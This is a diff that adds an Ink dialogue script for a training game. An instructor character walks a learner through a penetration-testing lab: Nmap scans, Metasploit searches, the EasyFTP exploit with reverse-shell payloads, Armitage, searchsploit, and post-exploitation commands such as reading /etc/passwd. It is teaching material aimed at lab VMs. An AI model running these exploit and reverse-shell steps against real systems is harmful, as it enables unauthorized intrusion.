feat: Add GBL exploitation techniques lab sheet

story_design/ink/lab_sheets/exploitation.ink

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+// From Scanning to Exploitation Lab Sheet
+// Based on HacktivityLabSheets: introducing_attacks/6_exploitation.md
+// Author: Z. Cliffe Schreuders, Anatoliy Gorbenko, Tom Shaw, Thalita Vergilio
+// License: CC BY-SA 4.0
+
+// Global persistent state
+VAR instructor_rapport = 0
+VAR exploitation_mastery = 0
+
+// External variables
+EXTERNAL player_name
+
+=== start ===
+Exploitation Specialist: Welcome back, Agent {player_name}. I'm your instructor for Advanced Exploitation Techniques.
+
+~ instructor_rapport = 0
+~ exploitation_mastery = 0
+
+Exploitation Specialist: This lab brings together everything you've learned so far - scanning, vulnerability research, and exploitation.
+
+Exploitation Specialist: You'll learn how to move from network scanning to identifying vulnerabilities, searching for exploits, and ultimately gaining control of target systems.
+
+Exploitation Specialist: We'll use both Metasploit console and Armitage, a graphical interface that can automate parts of the hacking process.
+
+Exploitation Specialist: Remember: this knowledge is for authorized penetration testing and defensive security only.
+
+~ exploitation_mastery += 10
+
+-> exploitation_hub
+
+=== exploitation_hub ===
+Exploitation Specialist: What aspect of exploitation would you like to explore?
+
++ [Why combine scanning and exploitation?]
+    -> scanning_to_exploitation
++ [Scanning targets with Nmap]
+    -> nmap_scanning
++ [Metasploit database and scan import]
+    -> metasploit_database
++ [Running scans from within msfconsole]
+    -> msfconsole_scanning
++ [Searching for Metasploit exploits]
+    -> searching_exploits
++ [Launching Metasploit exploits]
+    -> launching_exploits
++ [Introduction to Armitage]
+    -> armitage_intro
++ [Using Armitage for automated hacking]
+    -> armitage_usage
++ [Vulnerability databases and research]
+    -> vulnerability_databases
++ [The Exploit Database and searchsploit]
+    -> exploit_db
++ [Show me the commands reference]
+    -> commands_reference
++ [Practical challenge tips]
+    -> challenge_tips
++ [I'm ready for the lab exercises]
+    -> ready_for_practice
++ [That's all for now]
+    #exit_conversation
+    -> END
+
+=== scanning_to_exploitation ===
+Exploitation Specialist: After gathering information about a target through footprinting and scanning, you need to know what attacks will work.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: The key questions are: Where will you find vulnerability information? How will you use that information to launch an attack? How can security professionals use this to test system security?
+
+Exploitation Specialist: Once you know the operating system and software running on a system, you can refer to your own knowledge of known vulnerabilities, or search online databases for more extensive information.
+
++ [What makes a target exploitable?]
+    Exploitation Specialist: A target is exploitable when it's running vulnerable software that you have an exploit for.
+
+    Exploitation Specialist: For example, if a target is running an old version of Windows with known vulnerabilities, there are numerous exploits that could give you full control of the system.
+
+    Exploitation Specialist: The scanning phase reveals what's running. The vulnerability research phase identifies what's vulnerable. The exploitation phase is when you actually attack.
+
+    ~ instructor_rapport += 5
+
++ [How do I know what attacks will work?]
+    Exploitation Specialist: This is where vulnerability databases and exploit frameworks like Metasploit come in.
+
+    Exploitation Specialist: After scanning reveals "Windows 2000 with EasyFTP 1.7.0.11," you can search for known vulnerabilities in those specific versions.
+
+    Exploitation Specialist: Metasploit has over a thousand exploits built in. You can search them by platform, service name, or CVE number.
+
+    Exploitation Specialist: We'll also look at external databases like CVE Details, NVD, and Exploit DB.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== nmap_scanning ===
+Exploitation Specialist: The first step is thorough scanning to identify your targets and what they're running.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: For this lab, you'll scan your network to find two vulnerable servers - one Linux and one Windows.
+
+Exploitation Specialist: A comprehensive scan would be: nmap -sV 10.X.X.2-3
+
+Exploitation Specialist: Where X.X are the second and third octets of your Kali VM's IP address.
+
++ [What should I look for in the scan results?]
+    Exploitation Specialist: Pay attention to several key pieces of information:
+
+    Exploitation Specialist: First, the IP addresses - which host is Linux and which is Windows?
+
+    Exploitation Specialist: Second, what services are running - HTTP, FTP, SSH, IRC?
+
+    Exploitation Specialist: Third, and most importantly, what specific software versions are running. For example: "vsftpd 2.3.4" or "EasyFTP 1.7.0.11"
+
+    Exploitation Specialist: Those specific version numbers are critical for finding applicable exploits.
+
+    ~ instructor_rapport += 5
+
++ [What if the scan takes too long?]
+    Exploitation Specialist: Windows scans can take several minutes to complete - this is normal.
+
+    Exploitation Specialist: If you want faster results, you can skip OS detection or scan fewer ports.
+
+    Exploitation Specialist: However, for thorough penetration testing, patience is important. You don't want to miss a vulnerable service on an unusual port.
+
+    ~ instructor_rapport += 5
+
++ [What if nmap shows ftp with a question mark?]
+    Exploitation Specialist: If you see "ftp?" in the results, it means Nmap isn't confident about the service identification.
+
+    Exploitation Specialist: This can happen if the service is slow to respond or behaving unusually.
+
+    Exploitation Specialist: Try restarting the Windows server and scanning again. The service should respond properly after a fresh start.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== metasploit_database ===
+Exploitation Specialist: Metasploit includes a PostgreSQL database that stores information about hosts, services, and vulnerabilities.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: This database integration is extremely powerful - it lets you import scan results and automatically target vulnerable services.
+
+Exploitation Specialist: Before using the database, you need to initialize it and start PostgreSQL.
+
++ [How do I initialize the Metasploit database?]
+    Exploitation Specialist: First, reinitialize the database: sudo msfdb reinit
+
+    Exploitation Specialist: Then start PostgreSQL: sudo service postgresql start
+
+    Exploitation Specialist: These commands set up the database that Metasploit will use to store scan results and track compromised hosts.
+
+    Exploitation Specialist: You only need to do this once per session, or after restarting your Kali VM.
+
+    ~ instructor_rapport += 5
+
++ [How do I import Nmap scan results?]
+    Exploitation Specialist: If you've saved Nmap results in XML format, you can import them:
+
+    Exploitation Specialist: From msfconsole, run: db_import scan_output.xml
+
+    Exploitation Specialist: Metasploit will parse the XML and populate the database with host and service information.
+
+    Exploitation Specialist: You can then query this data with commands like "hosts" and "services"
+
+    ~ instructor_rapport += 5
+
++ [What can I do with the database?]
+    Exploitation Specialist: Once data is in the database, you can query it intelligently:
+
+    Exploitation Specialist: "hosts" shows all discovered hosts and their operating systems.
+
+    Exploitation Specialist: "services" shows all discovered services across all hosts.
+
+    Exploitation Specialist: "services -p 21" shows only services on port 21 (FTP).
+
+    Exploitation Specialist: "services -p 21 -R" does the same AND automatically sets RHOSTS to target those services!
+
+    Exploitation Specialist: This integration makes targeting much more efficient.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== msfconsole_scanning ===
+Exploitation Specialist: You can run scans directly from within msfconsole - you don't always need a separate terminal.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: Msfconsole can run Bash commands, so you can run Nmap directly: msf > nmap -O -sV TARGET
+
+Exploitation Specialist: Even better, you can use db_nmap which scans AND automatically imports results into the database.
+
++ [What's the difference between nmap and db_nmap?]
+    Exploitation Specialist: When you run "nmap" from msfconsole, it just executes Nmap normally. You'd need to manually import the results.
+
+    Exploitation Specialist: When you run "db_nmap", it does the same scan BUT automatically imports results into the Metasploit database.
+
+    Exploitation Specialist: For example: msf > db_nmap -O -sV -p 1-65535 TARGET
+
+    Exploitation Specialist: This scans all ports with OS and version detection, and the results are immediately available via "hosts" and "services"
+
+    ~ instructor_rapport += 5
+
++ [Does Metasploit have its own scanners?]
+    Exploitation Specialist: Yes! Metasploit has various port scanning modules, though they're not as feature-complete as Nmap.
+
+    Exploitation Specialist: You can see them with: use auxiliary/scanner/portscan/ (then press TAB)
+
+    Exploitation Specialist: For a basic TCP connect scan: use auxiliary/scanner/portscan/tcp
+
+    Exploitation Specialist: These modules integrate directly with the database and can use multiple threads for faster scanning.
+
+    ~ instructor_rapport += 5
+
++ [How do I use Metasploit's port scanner?]
+    Exploitation Specialist: First, select the module: use auxiliary/scanner/portscan/tcp
+
+    Exploitation Specialist: Set the target: set RHOSTS TARGET_IP
+
+    Exploitation Specialist: Optionally speed it up: set THREADS 10
+
+    Exploitation Specialist: Then run it: run
+
+    Exploitation Specialist: Results are automatically stored in the database. You can verify with the "services" command.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== searching_exploits ===
+Exploitation Specialist: Metasploit's search command is incredibly powerful for finding relevant exploits.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: You can search by platform, service name, CVE number, exploit type, and more.
+
+Exploitation Specialist: The basic syntax is: search <keyword>
+
+Exploitation Specialist: But you can be much more specific with search operators.
+
++ [What search operators are available?]
+    Exploitation Specialist: Here are the main search operators:
+
+    Exploitation Specialist: type: - Specify module type (exploit, auxiliary, post)
+
+    Exploitation Specialist: platform: - Specify platform (Windows, Linux, etc.)
+
+    Exploitation Specialist: cve: - Search by CVE number
+
+    Exploitation Specialist: name: - Search module names
+
+    Exploitation Specialist: For example: search type:exploit platform:Windows
+
+    Exploitation Specialist: Or: search type:exploit cve:2003-0352
+
+    ~ instructor_rapport += 5
+
++ [How do I search for specific software?]
+    Exploitation Specialist: Simply include the software name in the search:
+
+    Exploitation Specialist: search easyftp
+
+    Exploitation Specialist: search vsftpd
+
+    Exploitation Specialist: search unreal
+
+    Exploitation Specialist: Metasploit will search module names, descriptions, and references for matches.
+
+    Exploitation Specialist: Look through the results for modules that match your target's version number.
+
+    ~ instructor_rapport += 5
+
++ [Give me some search examples]
+    Exploitation Specialist: Sure! Here are useful searches:
+
+    Exploitation Specialist: search type:exploit platform:linux
+
+    Exploitation Specialist: search type:exploit cve:2018
+
+    Exploitation Specialist: search buffer overflow
+
+    Exploitation Specialist: search type:exploit platform:Windows XP
+
+    Exploitation Specialist: search IRC (to find IRC server exploits)
+
+    Exploitation Specialist: Once you find a promising module, use "info exploit/path/to/module" to learn more about it.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== launching_exploits ===
+Exploitation Specialist: Once you've identified the right exploit module, launching it follows a standard workflow.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: The process is: select the module, configure options, choose a payload, and launch the attack.
+
+Exploitation Specialist: Let's walk through a typical exploitation scenario.
+
++ [Walk me through exploiting EasyFTP]
+    Exploitation Specialist: Let me guide you through the complete process:
+
+    Exploitation Specialist: First, select the exploit: use exploit/windows/ftp/easyftp_cwd_fixret
+
+    Exploitation Specialist: Check required options: show options
+
+    Exploitation Specialist: Set the target: set RHOST TARGET_IP
+
+    Exploitation Specialist: Choose a payload: set PAYLOAD windows/shell/reverse_tcp
+
+    Exploitation Specialist: Set your IP for the reverse shell: set LHOST YOUR_KALI_IP
+
+    Exploitation Specialist: Optionally check if it's vulnerable: check (though most don't support this)
+
+    Exploitation Specialist: Launch the attack: exploit
+
+    Exploitation Specialist: If successful, you'll get a shell on the target!
+
+    ~ instructor_rapport += 5
+
++ [What payloads should I use?]
+    Exploitation Specialist: The payload depends on what you want to achieve and what the exploit supports.
+
+    Exploitation Specialist: You can see compatible payloads with: show payloads
+
+    Exploitation Specialist: For Windows targets, common choices include:
+
+    Exploitation Specialist: windows/shell/reverse_tcp - Basic command shell
+
+    Exploitation Specialist: windows/meterpreter/reverse_tcp - Powerful Meterpreter shell with advanced features
+
+    Exploitation Specialist: For Linux targets:
+
+    Exploitation Specialist: cmd/unix/reverse - Simple Unix shell
+
+    Exploitation Specialist: linux/x86/meterpreter/reverse_tcp - Meterpreter for Linux
+
+    ~ instructor_rapport += 5
+
++ [What if the exploit doesn't work?]
+    Exploitation Specialist: First, run "show options" and verify all settings, especially IP addresses.
+
+    Exploitation Specialist: Make sure you're using the correct IP - YOUR Kali IP for LHOST, and the TARGET IP for RHOST.
+
+    Exploitation Specialist: Try restarting the target VM - sometimes services crash after failed exploit attempts.
+
+    Exploitation Specialist: Verify the target is actually running the vulnerable software at that version.
+
+    Exploitation Specialist: Some exploits are unreliable and may need multiple attempts.
+
+    ~ instructor_rapport += 5
+
++ [What can I do once I have a shell?]
+    Exploitation Specialist: With a Windows shell, you can run commands like:
+
+    Exploitation Specialist: dir C:\ (list files)
+
+    Exploitation Specialist: net user (list user accounts)
+
+    Exploitation Specialist: whoami (check your privileges)
+
+    Exploitation Specialist: For Linux shells:
+
+    Exploitation Specialist: ls -la (list files)
+
+    Exploitation Specialist: cat /etc/passwd (view user accounts)
+
+    Exploitation Specialist: whoami (check current user)
+
+    Exploitation Specialist: We'll cover post-exploitation in more depth in later labs.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== armitage_intro ===
+Exploitation Specialist: Armitage is a free and open source graphical interface for Metasploit with powerful automation features.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: It was created to make Metasploit more accessible and to automate repetitive tasks in penetration testing.
+
+Exploitation Specialist: Armitage can scan networks, automatically suggest attacks, and visualize compromised systems.
+
++ [How is Armitage different from msfconsole?]
+    Exploitation Specialist: Msfconsole is a command-line interface that gives you complete control and flexibility.
+
+    Exploitation Specialist: Armitage provides a graphical interface that visualizes the network and automates finding attacks.
+
+    Exploitation Specialist: Armitage can look at scan results and automatically suggest which exploits might work against each target.
+
+    Exploitation Specialist: It's particularly useful for beginners or when you want to quickly test multiple targets.
+
+    Exploitation Specialist: However, experienced penetration testers often prefer msfconsole for its power and speed.
+
+    ~ instructor_rapport += 5
+
++ [How do I start Armitage?]
+    Exploitation Specialist: First, initialize the Metasploit database if you haven't already:
+
+    Exploitation Specialist: sudo msfdb reinit
+
+    Exploitation Specialist: sudo service postgresql start
+
+    Exploitation Specialist: Then start Armitage: armitage &
+
+    Exploitation Specialist: The & runs it in the background so you can continue using your terminal.
+
+    Exploitation Specialist: Leave the connection options as default and click "Connect"
+
+    Exploitation Specialist: If prompted, allow Armitage to start the Metasploit RPC server.
+
+    ~ instructor_rapport += 5
+
++ [What does the Armitage interface show?]
+    Exploitation Specialist: Armitage displays a visual network map showing discovered hosts.
+
+    Exploitation Specialist: Each host is represented by an icon - the icon shows the detected operating system.
+
+    Exploitation Specialist: Compromised systems are shown in red with lightning bolts.
+
+    Exploitation Specialist: You can right-click hosts to see suggested attacks, launch exploits, or interact with shells.
+
+    Exploitation Specialist: The interface makes it easy to see the big picture of a network and what you've compromised.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== armitage_usage ===
+Exploitation Specialist: Let me walk you through using Armitage to scan and exploit targets.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: Armitage integrates scanning, vulnerability analysis, and exploitation into a streamlined workflow.
+
++ [How do I scan with Armitage?]
+    Exploitation Specialist: Click the "Hosts" menu, select "Nmap Scan", then choose a scan type.
+
+    Exploitation Specialist: "Quick Scan (OS detect)" is a good starting point: nmap -O -sV TARGET
+
+    Exploitation Specialist: Enter the IP address to scan and Armitage will run Nmap.
+
+    Exploitation Specialist: Results are automatically imported into the Metasploit database and displayed visually.
+
+    Exploitation Specialist: Any previously scanned hosts in the database will also appear automatically.
+
+    ~ instructor_rapport += 5
+
++ [How does Armitage suggest attacks?]
+    Exploitation Specialist: Armitage analyzes the operating system and services detected on each host.
+
+    Exploitation Specialist: First, set the exploit rank to include more options: Armitage menu → Set Exploit Rank → Poor
+
+    Exploitation Specialist: Then click: Attacks → Find attacks
+
+    Exploitation Specialist: Armitage will match detected services to available exploits in Metasploit.
+
+    Exploitation Specialist: Right-click a host and select "Attack" to see suggested exploits categorized by service.
+
+    ~ instructor_rapport += 5
+
++ [How do I launch an attack in Armitage?]
+    Exploitation Specialist: Right-click the target host and select "Attack"
+
+    Exploitation Specialist: Navigate through the menu to find the exploit - for example: ftp → easyftp_cwd_fixret
+
+    Exploitation Specialist: Click "Launch" and Armitage will configure and run the exploit.
+
+    Exploitation Specialist: If successful, the host icon turns red showing it's compromised!
+
+    Exploitation Specialist: You can then right-click the compromised host to interact with shells or run post-exploitation modules.
+
+    ~ instructor_rapport += 5
+
++ [How do I interact with a compromised system?]
+    Exploitation Specialist: Right-click the compromised (red) host.
+
+    Exploitation Specialist: Look for "Meterpreter 1" or "Shell 1" depending on the payload used.
+
+    Exploitation Specialist: Click "Interact" → "Command shell" to open a terminal.
+
+    Exploitation Specialist: You can now run commands like "dir" on Windows or "ls" on Linux.
+
+    Exploitation Specialist: Armitage also has menu options for common post-exploitation tasks.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== vulnerability_databases ===
+Exploitation Specialist: Beyond Metasploit, there are numerous online vulnerability databases you should know about.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: These databases provide detailed information about known vulnerabilities, even if exploits aren't publicly available.
+
+Exploitation Specialist: Different databases have different focuses and information, so it's worth checking multiple sources.
+
++ [What are the main vulnerability databases?]
+    Exploitation Specialist: Here are the most important ones:
+
+    Exploitation Specialist: CVE Details (cvedetails.com) - Searchable CVE database with statistics and visualizations.
+
+    Exploitation Specialist: NVD (nvd.nist.gov/vuln/search) - National Vulnerability Database, the official US government repository.
+
+    Exploitation Specialist: SecurityFocus (securityfocus.com/bid) - Bugtraq ID database with discussion forums.
+
+    Exploitation Specialist: Packet Storm Security (packetstormsecurity.com) - Security tools, exploits, and advisories.
+
+    ~ instructor_rapport += 5
+
++ [What information do these databases provide?]
+    Exploitation Specialist: Vulnerability databases typically include:
+
+    Exploitation Specialist: CVE numbers - unique identifiers for each vulnerability.
+
+    Exploitation Specialist: Severity scores (CVSS) - numerical ratings of how serious the vulnerability is.
+
+    Exploitation Specialist: Affected versions - which specific software versions are vulnerable.
+
+    Exploitation Specialist: Technical descriptions of the vulnerability.
+
+    Exploitation Specialist: References to patches, advisories, and sometimes proof-of-concept code.
+
+    Exploitation Specialist: Information about whether exploits exist in the wild.
+
+    ~ instructor_rapport += 5
+
++ [Do all vulnerabilities have CVEs?]
+    Exploitation Specialist: No! This is an important point.
+
+    Exploitation Specialist: CVE and NVD list officially registered security vulnerabilities, but not all possible vulnerabilities are necessarily registered and assigned CVEs.
+
+    Exploitation Specialist: Sometimes researchers publish vulnerabilities before CVEs are assigned.
+
+    Exploitation Specialist: Some vendors have their own vulnerability identifiers.
+
+    Exploitation Specialist: Zero-day vulnerabilities (unknown to vendors) obviously won't have CVEs yet.
+
+    Exploitation Specialist: This is why checking multiple sources and forums is important.
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== exploit_db ===
+Exploitation Specialist: The Exploit Database (Exploit-DB) is an extensive database focused on vulnerabilities with working exploits.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: It's maintained by Offensive Security (the makers of Kali Linux) and contains thousands of exploits with source code.
+
+Exploitation Specialist: Kali Linux includes a local copy of the entire database!
+
++ [How do I search Exploit-DB online?]
+    Exploitation Specialist: Visit exploit-db.com and use their search function.
+
+    Exploitation Specialist: You can search by software name, version, platform, or exploit type.
+
+    Exploitation Specialist: Each exploit listing includes the source code, often in Python, C, PHP, or other languages.
+
+    Exploitation Specialist: The database also categorizes exploits by type: remote, local, web application, DoS, etc.
+
+    ~ instructor_rapport += 5
+
++ [How do I use the local Exploit-DB copy?]
+    Exploitation Specialist: On Kali Linux, exploits are stored in /usr/share/exploitdb/
+
+    Exploitation Specialist: They're organized by platform: windows, linux, osx, etc.
+
+    Exploitation Specialist: You can list Windows exploits with: find /usr/share/exploitdb/exploits/windows | less
+
+    Exploitation Specialist: There's also an index file with descriptions: less /usr/share/exploitdb/files_exploits.csv
+
+    ~ instructor_rapport += 5
+
++ [What's searchsploit?]
+    Exploitation Specialist: Searchsploit is a command-line tool for searching the local Exploit-DB copy.
+
+    Exploitation Specialist: It's much faster and more convenient than manually searching files.
+
+    Exploitation Specialist: Basic usage: searchsploit easyftp
+
+    Exploitation Specialist: You can also use grep on the CSV file: grep -i "EasyFTP" /usr/share/exploitdb/files_exploits.csv
+
+    Exploitation Specialist: To download an exploit to your current directory: searchsploit -m windows/remote/11539.py
+
+    ~ instructor_rapport += 5
+
++ [How do I use standalone exploits from Exploit-DB?]
+    Exploitation Specialist: Standalone exploits often require some manual setup:
+
+    Exploitation Specialist: You might need to edit the source code to set the target IP address.
+
+    Exploitation Specialist: Some exploits require compilation (C/C++ code).
+
+    Exploitation Specialist: Python exploits might need specific library dependencies.
+
+    Exploitation Specialist: Read the exploit code comments carefully - they usually explain how to use it.
+
+    Exploitation Specialist: Always understand what an exploit does before running it!
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== commands_reference ===
+Exploitation Specialist: Let me provide a comprehensive commands reference for this lab.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: **Initial Scanning:**
+
+Exploitation Specialist: nmap -sV 10.X.X.2-3 (scan for two servers)
+
+Exploitation Specialist: nmap -O -sV -p 1-65535 TARGET (comprehensive scan)
+
+Exploitation Specialist: **Metasploit Database Setup:**
+
+Exploitation Specialist: sudo msfdb reinit
+
+Exploitation Specialist: sudo service postgresql start
+
+Exploitation Specialist: msfconsole (start Metasploit console)
+
++ [Show me scanning from msfconsole]
+    Exploitation Specialist: **Scanning from Msfconsole:**
+
+    Exploitation Specialist: msf > nmap -O -sV TARGET
+
+    Exploitation Specialist: msf > db_nmap -O -sV -p 1-65535 TARGET
+
+    Exploitation Specialist: msf > db_import scan_output.xml
+
+    Exploitation Specialist: **Database Queries:**
+
+    Exploitation Specialist: msf > hosts (show all hosts)
+
+    Exploitation Specialist: msf > services (show all services)
+
+    Exploitation Specialist: msf > services -p 21 (show services on port 21)
+
+    Exploitation Specialist: msf > services -p 21 -R (and set RHOSTS)
+
+    ~ instructor_rapport += 3
+
++ [Show me Metasploit scanning modules]
+    Exploitation Specialist: **Metasploit Port Scanners:**
+
+    Exploitation Specialist: msf > use auxiliary/scanner/portscan/ (TAB to see options)
+
+    Exploitation Specialist: msf > use auxiliary/scanner/portscan/tcp
+
+    Exploitation Specialist: msf auxiliary(tcp) > set RHOSTS TARGET
+
+    Exploitation Specialist: msf auxiliary(tcp) > set THREADS 10
+
+    Exploitation Specialist: msf auxiliary(tcp) > run
+
+    Exploitation Specialist: msf auxiliary(tcp) > services
+
+    Exploitation Specialist: msf auxiliary(tcp) > back
+
+    ~ instructor_rapport += 3
+
++ [Show me searching for exploits]
+    Exploitation Specialist: **Searching for Exploits:**
+
+    Exploitation Specialist: msf > help search
+
+    Exploitation Specialist: msf > search easyftp
+
+    Exploitation Specialist: msf > search type:exploit platform:Windows
+
+    Exploitation Specialist: msf > search type:exploit cve:2003-0352
+
+    Exploitation Specialist: msf > search buffer overflow
+
+    Exploitation Specialist: msf > search type:exploit platform:linux
+
+    Exploitation Specialist: msf > info exploit/windows/ftp/easyftp_cwd_fixret
+
+    ~ instructor_rapport += 3
+
++ [Show me launching exploits]
+    Exploitation Specialist: **Launching Exploits:**
+
+    Exploitation Specialist: msf > use exploit/windows/ftp/easyftp_cwd_fixret
+
+    Exploitation Specialist: msf exploit(...) > show options
+
+    Exploitation Specialist: msf exploit(...) > set RHOST TARGET_IP
+
+    Exploitation Specialist: msf exploit(...) > show payloads
+
+    Exploitation Specialist: msf exploit(...) > set PAYLOAD windows/shell/reverse_tcp
+
+    Exploitation Specialist: msf exploit(...) > set LHOST YOUR_KALI_IP
+
+    Exploitation Specialist: msf exploit(...) > check (if supported)
+
+    Exploitation Specialist: msf exploit(...) > exploit
+
+    ~ instructor_rapport += 3
+
++ [Show me post-exploitation commands]
+    Exploitation Specialist: **Post-Exploitation Commands (Windows):**
+
+    Exploitation Specialist: dir C:\ (list files)
+
+    Exploitation Specialist: net user (list user accounts)
+
+    Exploitation Specialist: whoami (check privileges)
+
+    Exploitation Specialist: type C:\path\to\flag.txt (read file)
+
+    Exploitation Specialist: **Post-Exploitation Commands (Linux):**
+
+    Exploitation Specialist: ls -la (list files)
+
+    Exploitation Specialist: cat /etc/passwd (view user accounts)
+
+    Exploitation Specialist: whoami (current user)
+
+    Exploitation Specialist: cat flag (read flag file)
+
+    ~ instructor_rapport += 3
+
++ [Show me Armitage commands]
+    Exploitation Specialist: **Armitage Setup:**
+
+    Exploitation Specialist: sudo msfdb reinit
+
+    Exploitation Specialist: sudo service postgresql start
+
+    Exploitation Specialist: armitage &
+
+    Exploitation Specialist: **Armitage Workflow:**
+
+    Exploitation Specialist: 1. Hosts → Nmap Scan → Quick Scan (OS detect)
+
+    Exploitation Specialist: 2. Armitage → Set Exploit Rank → Poor
+
+    Exploitation Specialist: 3. Attacks → Find attacks
+
+    Exploitation Specialist: 4. Right-click host → Attack → select exploit → Launch
+
+    Exploitation Specialist: 5. Right-click compromised host → Interact → Command shell
+
+    ~ instructor_rapport += 3
+
++ [Show me Exploit-DB commands]
+    Exploitation Specialist: **Exploit Database:**
+
+    Exploitation Specialist: find /usr/share/exploitdb/exploits/windows | less
+
+    Exploitation Specialist: less /usr/share/exploitdb/files_exploits.csv
+
+    Exploitation Specialist: grep -i "EasyFTP" /usr/share/exploitdb/files_exploits.csv
+
+    Exploitation Specialist: searchsploit easyftp
+
+    Exploitation Specialist: searchsploit -m windows/remote/11539.py
+
+    ~ instructor_rapport += 3
+
+- -> exploitation_hub
+
+=== challenge_tips ===
+Exploitation Specialist: Let me give you practical tips for succeeding in the exploitation challenges.
+
+~ instructor_rapport += 5
+
+Exploitation Specialist: **Finding Vulnerable Services:**
+
+Exploitation Specialist: Start with a comprehensive scan: nmap -sV -p 1-65535 TARGET
+
+Exploitation Specialist: Pay close attention to service versions - specific version numbers are key to finding exploits.
+
+Exploitation Specialist: Import results into Metasploit for easier targeting: db_nmap -sV TARGET
+
++ [Tips for exploiting the Windows server?]
+    Exploitation Specialist: The Windows server is running EasyFTP with a known vulnerability.
+
+    Exploitation Specialist: Search for it: search easyftp
+
+    Exploitation Specialist: Look for the module ending in "cwd_fixret"
+
+    Exploitation Specialist: Use a reverse shell payload since it's more reliable: windows/shell/reverse_tcp
+
+    Exploitation Specialist: Make sure to set LHOST to YOUR Kali IP (the host-only network address).
+
+    Exploitation Specialist: If the exploit fails, restart the Windows VM and try again.
+
+    ~ instructor_rapport += 5
+
++ [Tips for exploiting the Linux server?]
+    Exploitation Specialist: The Linux server has multiple potentially vulnerable services.
+
+    Exploitation Specialist: Scan all ports to find everything running: nmap -sV -p- TARGET
+
+    Exploitation Specialist: Look for services like vsftpd, IRC, or other network services.
+
+    Exploitation Specialist: Search Metasploit for exploits matching those services.
+
+    Exploitation Specialist: Remember to use a Unix reverse shell payload: cmd/unix/reverse
+
+    Exploitation Specialist: Some Linux exploits are more reliable than others - you may need to try a few.
+
+    ~ instructor_rapport += 5
+
++ [Tips for using Armitage?]
+    Exploitation Specialist: Armitage is great for beginners because it suggests attacks automatically.
+
+    Exploitation Specialist: Make sure you set the exploit rank to "Poor" or you'll miss some exploits.
+
+    Exploitation Specialist: Don't just click the first suggested attack - read the module info to understand what it does.
+
+    Exploitation Specialist: Armitage may prompt for your Kali IP address - use the host-only network IP, not 127.0.0.1.
+
+    Exploitation Specialist: If Armitage seems to hang, check the console tab at the bottom for error messages.
+
+    ~ instructor_rapport += 5
+
++ [General troubleshooting advice?]
+    Exploitation Specialist: Always verify your IP addresses with "show options" before running exploits.
+
+    Exploitation Specialist: RHOST should be the TARGET's IP. LHOST should be YOUR Kali IP.
+
+    Exploitation Specialist: If services stop responding, restart the target VM - exploits often crash vulnerable services.
+
+    Exploitation Specialist: After successfully exploiting a service once, you'll need to restart the VM to exploit it again.
+
+    Exploitation Specialist: Be patient - some exploits take time to establish connections.
+
+    ~ instructor_rapport += 5
+
++ [Where are the flags?]
+    Exploitation Specialist: For the Windows server, look on a user's Desktop.
+
+    Exploitation Specialist: Navigate with: cd C:\Users or cd C:\Documents and Settings
+
+    Exploitation Specialist: List directories with: dir
+
+    Exploitation Specialist: Read flag files with: type flag.txt
+
+    Exploitation Specialist: For the Linux server, flags are typically in user home directories.
+
+    Exploitation Specialist: Navigate with: cd /home
+
+    Exploitation Specialist: List directories with: ls -la
+
+    Exploitation Specialist: Read flags with: cat flag
+
+    ~ instructor_rapport += 5
+
+- -> exploitation_hub
+
+=== ready_for_practice ===
+Exploitation Specialist: Excellent! You're ready to start practical exploitation.
+
+~ instructor_rapport += 10
+~ exploitation_mastery += 10
+
+Exploitation Specialist: You now understand how to move from scanning to exploitation - the core of penetration testing.
+
+Exploitation Specialist: Remember: these techniques are powerful. Use them only for authorized security testing and defensive purposes.
+
+Exploitation Specialist: In this lab, you'll scan two servers, identify vulnerable services, and exploit them to gain access.
+
++ [Any final advice before I start?]
+    Exploitation Specialist: Be methodical. Scan thoroughly, document what you find, research vulnerabilities, then exploit.
+
+    Exploitation Specialist: Don't rush. Take time to understand what each exploit does and why it works.
+
+    Exploitation Specialist: If something doesn't work, check your settings, restart the target, and try again.
+
+    Exploitation Specialist: Try both msfconsole and Armitage to see which you prefer.
+
+    Exploitation Specialist: Most importantly: always verify you're targeting the right system and have authorization!
+
+    Exploitation Specialist: Good luck, Agent {player_name}. Time to put your skills to the test.
+
+    ~ instructor_rapport += 10
+
+- -> exploitation_hub
+
+-> END